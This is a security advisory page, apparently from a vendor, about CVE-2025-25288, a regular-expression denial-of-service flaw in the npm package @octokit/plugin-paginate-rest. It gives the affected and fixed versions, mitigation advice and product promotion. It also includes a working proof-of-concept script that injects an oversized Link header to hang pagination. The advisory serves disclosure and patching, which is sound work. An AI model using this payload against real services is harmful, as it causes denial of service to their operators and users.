CVE-2025-25288 is a medium-severity (CVSS 5.3) CWE-1333 vulnerability in @octokit/plugin-paginate-rest. A fix is available for @octokit/plugin-paginate-rest — see the affected versions and patch details below.
@octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-25288.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-25288 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@octokit/plugin-paginate-restnpmDescription
Summary
For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.
Details
The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url = ((normalizedResponse.headers.link || "").match(
/<([^>]+)>;\s*rel="next"/,
) || [])[1];
The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.
PoC
- run npm i @octokit/plugin-paginate-rest
- run 'node poc.js' result:
- then the program will stuck forever with high CPU usage
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();
Impact
What kind of vulnerability is it?
This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
Who is impacted?
- Users of
@octokit/plugin-paginate-restwho calloctokit.paginate.iterator()and process untrusted or manipulatedLinkheaders. - Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
- GitHub API consumers who integrate this package into their projects for paginated data retrieval.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @octokit/plugin-paginate-rest | ≥ 9.3.0-beta.1&&< 11.4.1 | 11.4.1npm install @octokit/plugin-paginate-rest@11.4.1 |
| 📦npm | @octokit/plugin-paginate-rest | ≥ 1.0.0&&< 9.2.2 | 9.2.2npm install @octokit/plugin-paginate-rest@9.2.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @octokit/plugin-paginate-rest, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @octokit/plugin-paginate-rest to 11.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-25288 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-25288 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-25288. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-25288 in your dependencies?
O3 Security finds CVE-2025-25288 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.